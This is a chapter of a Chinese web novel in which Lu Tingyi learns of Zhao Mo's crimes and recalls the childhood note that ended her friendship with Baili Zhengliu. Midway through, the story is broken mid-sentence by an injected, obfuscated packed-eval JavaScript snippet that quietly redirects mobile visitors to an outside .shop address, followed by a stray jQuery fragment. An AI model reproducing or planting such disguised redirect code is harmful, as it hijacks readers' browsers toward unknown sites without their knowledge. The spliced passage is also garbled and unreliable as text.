文趣网 > 其他小说 > 死对头又在热演 > 38. 绝交真相
    陆停漪的心悬在嗓子眼。

    “争流,你往前面来一些。我们都给你挡上了。你脑瓜子那么好使,千万别错过什么有用的。”

    唐临冬转过头,专心致志看着画面。

    陆停漪放下了肩膀,迎着百里争流的目光,他露出了劫后余生的神色,带着一丝罕见的狼狈。

    这件事,就和她尚未恢复的巫祝之力一样,根本不可能一直隐瞒下去。

    只能走一步看一步了。

    她再度看向画面。

    唐岁荣对着血珠看了半天:“主上,也许是我太愚钝了,这究竟是什么……”

    “你确实很愚钝。”白色琉璃眼透出一抹光,“有人在偷看,你都没有发现。”

    灌木丛后的唐云死死捂住嘴巴,在唐岁荣冲过来时,她连滚带爬向后逃。

    这时的唐岁荣还不是那个瘦小佝偻的老头,中等身材,颇为精装,唐云奋力挣扎,终究不是对手,被他按在地上。

    “主上,这女人偷听了我们的对话,她女儿才被我送到江东王府,绝对不能留她!”

    赵墨懒懒地歪了歪头:“别急,你不是问我还吩咐你做些什么吗?”

    他打了个响指,一只人面鸟顺着修长的手指,掠了过去。

    唐云惊叫一声,随后没了动静。

    接下来的画面,被唐岁荣挡住了。

    陆停漪只能听到血肉撕扯和吞咽的声音。

    除此之外,就只有唐临冬粗重的喘息声。

    那只人面鸟从唐岁荣身后爬出来时,半张脸上全是血。

    赵墨伸出手,鸟身鼓溜溜的肚子剧烈起伏,有什么返到嘴巴里,人首小心翼翼靠近,将嘴里的东西吐在他的手心。

    是一颗血红的珠子,和之前那颗一模一样。

    “人面兽完全食人后,会吐出血珠。我要你收集血珠,助我重铸肉身。”

    唐岁荣朝后面看了眼,面色煞白,扑通一声跪在地上。

    “好好的大活人,就这么……”他咽了咽口水,“主上,万一被江东王府发现了,那我……”

    “你怕陆韧?”赵墨掂量着血珠,“等血珠够了,我肉身铸成,陆韧又算得了什么?”

    “可是……”唐岁荣仍在犹豫。

    “你以为你还有回头路吗?”赵墨冷笑一声,“踏实跟我走到底,最后少不了你的。”

    唐岁荣认命地闭了眼;“是。”

    “别耍花招。”赵墨指了指脖侧。

    他来到兜帽人身边,俯下身,轻声说道:“事情都办完了,我们回家去吧。”

    “爹。”兜帽人牵住赵墨的手,另一只手想把帽兜拉下来。

    “别。”赵墨小心翼翼阻止了他,“你身体不好,别受了风。”

    “好。”兜帽人软着嗓音回答。

    在这之后,画面缓缓褪色,四周又只剩火折子小小的火苗,和无边无际的黑夜。

    一下得到了太多有用的情报,陆停漪脑袋懵懵的,来不及细想,就听唐临冬从牙缝中挤出:“这个疯子!疯子!疯!子!人命对他来说,算什么?”

    她忽然滞住,哽咽道:“我娘变成那颗小小的珠子了……”

    陆停漪鼻子酸涩,想宽慰她。

    唐临冬却退了几步,咒骂着:“你们看见了么?覆面人竟然有孩子,哈……他害那么多人家破人亡,凭什么?他该死,他的儿子也该死!他们一家,都该死,都该给我们偿命!”

    这番话,像灌进她胸口的冰碴子。

    陆停漪不忍心去看百里争流的神色,之前她还心存希冀,等他的身份曝露了,哪怕其他人不能理解,至少朝夕相处的同伴们能够理解……

    但看唐临冬的反应,恐怕很难了。

    “争流。我知道时间紧急,但我们能不能在这里休息一晚?”唐临冬带着哭腔,“一晚就够了,我好好缓一缓……”

    瞥见她眼中的祈求,百里争流背在身后的手拧成一团,指甲死命扣着掌心,他恼恨血流得不够多,痛得不够狠。

    “好,我们明日一早再离开……”

    “嗯。”

    转身时,她两脚拧在一处,差点绊倒,却谢绝了陆停漪的搀扶,趔趄向黑暗深处走去。

    直到她消失在光影的边缘,陆停漪才收回目光。

    正是因为感同身受,她才深刻明白,面对某种伤痛,劝慰与陪伴都太过干瘪。最后能带人走出这种困境的,似乎只有时间。

    百里争流定定地看着她,声音压得很低:“我有话和你说。”

    眼前的凤眼,和那双异色瞳交叠在一起。

    “嗯。”她低头应了声。

    “陆停漪,听好了。倘若赵墨是我舅舅的事,终于被临冬他们察觉了,到那时……”顿了顿,他说道,“就当作你也才知道,不要为我说话,无论他们对我说什么、做什么,你只管看着,什么也别做。”

    她第一次反感红烛燃烧的声音,原来百里争流是真心要和她划清界限。

    “你的意思是,让我冷眼旁观?”她冷笑,“在你眼里,我就是这种人?”

    百里争流像听到了什么可笑的事情,笑着摇头:“我只是好心提醒你罢了,倒是你,不觉得你的反应很可笑吗?明明你才是那个最先划清界限的人。”

    “什么意思?”她面上冰凉,“你是说那张字条?”

    百里争流沉默注视着她,捋了捋风铃的系带,才开了口:“你说过,等唐领事毕,对那张字条,会有不一样的解释。”

    这句话,给她满当当的愤怒泄了个口子。

    十年前的记忆,在几瞬间全钻了出来。

    那时她接连失去了母亲和哥哥,又被赵墨下了禁言咒,生了一场大病。

    在那段时间,百里争流每晚来看望她,在床榻前,一待就是一夜。

    可天亮时,她稍微清醒了些,他就走了。

    这么反复见不到人,陆停漪很难过,强撑着翻身下床,去找她的父亲,让他帮忙把百里争流抓来。

    也就是在那次交谈中,父亲告诉了她百里争流的身世。

    “……争流也是才知道,受到了不小的打击,他大概不知道怎么面对你。”

    “可赵墨犯的罪过,和争流有什么关系?”她在纸上固执地写道,“从我认识争流那天起,他就一直为了平兽灾而努力,人们凭什么赵墨而讨厌他?”

    “停漪,你太小了,有些事情你还不明白。”

    父亲蹲下来,面容也很憔悴:“错就错在,赵墨是为了救争流的母亲赵素,才去窃取通天树的树心,才让江东蒙受灾祸。那么多人死了,争流却因此才能降生,倘若此事曝光,让那些痛失

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780008|209757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    所爱的人怎么想?”

    那时的她,完全听不懂父亲的话。她捂紧耳朵,一遍又一遍重复“争流没错“。

    时至今日,她已完全了然父亲的为难。

    比对错更可怕的,是人们心中的失衡,当一句句“我们过得那么难,你凭什么拥有那么多”叠加起来,便足以给百里争流定罪了。

    可那时的她不管不顾,只是想着,她得在他身边,就像每晚他陪着自己那样。

    既然父亲不帮忙,她就自己想办法。

    晚上喝了药后,她想忍住不睡,可药劲一上来,又昏睡了过去。

    好在醒得早,她摸了摸榻边,还是温热的,百里争流才走不久。

    鞋子都没穿好,她急匆匆冲了出去。

    远远看见百里争流在长廊尽头,她想留住他,可张张嘴,一个字也吐不出来,眼睁睁看着他转进了拐角。

    气喘吁吁追上去,还没凑上前,她就听到父亲和百里争流的谈话声。

    “争流,停漪昨天说想见见你,唉……就别躲着她了。”

    父亲到底还是帮她说话了。

    陆停漪竖起耳朵,想听百里争流怎么回答。

    “主队,多谢你的好意,但我不能。”他的声音有点冷。

    心颤了颤,她咬着唇,他从前都叫父亲“叔父”的,怎么改口了?

    “但你也知道,我和赵墨……不止是血亲那么简单,仔细想想,这兽灾不能说和我全然无关。”

    父亲似乎想说什么,却被他打断了。

    “主队,不必再说。等到我的身世瞒不住的那天,我离谁越近,谁受的牵连就越深,所以……等停漪病好了,我会离她更远一些。”

    剩下的话,和风一起灌进她的耳朵。

    “我得长大了,不能因为一己私欲,连累了停漪。她才失去母亲和兄长,我不想她将来因我受伤。”

    那一刻,她的心很静,就像有什么沉了下去。

    如今回头看,就是在那个瞬间,她从满脑子吃喝玩乐的小孩,成了心事重重的少女。

    “我是不是也该长大了呢?”她在心里问自己,“我是巫祝,赵墨给我下了禁言咒,娘和休风都死了,我以后会不会连累争流呢?他会不会也被我害死?”

    “争流这么为我考虑,我为什么……不顺应他的心意呢?”

    但百里争流总是狠不下心,在猎猎作响的白幡下,他说道:“死了很多人,我爹娘也死了……陆停漪,他是为了找巫祝来的。”

    语气中,却只有悲伤。

    他连抱怨的话都说不好。

    所以,不满十岁的陆停漪,对着百里争流扔出了那张字条。

    或许从今日的结果反推,这种以绝交为名的保护,是幼稚又无用的,他们只是让彼此受伤了。

    但那时,她就是偏执地认为,只要和她划清界限,百里争流就能安全。

    一阵风,割开两人的沉默。

    他手中的火折子燃尽了。

    百里争流无声地笑着,指甲嵌入掌心的伤口,血淋淋地挖着。

    他就不该对陆停漪的鬼话心存希冀。

    背过身,没走几步,后背猛地被撞了一下。

    清凌凌的眼神,刺穿了黑夜,陆停漪缓缓说道:“你不是想听吗?好啊,那我就说给你听。”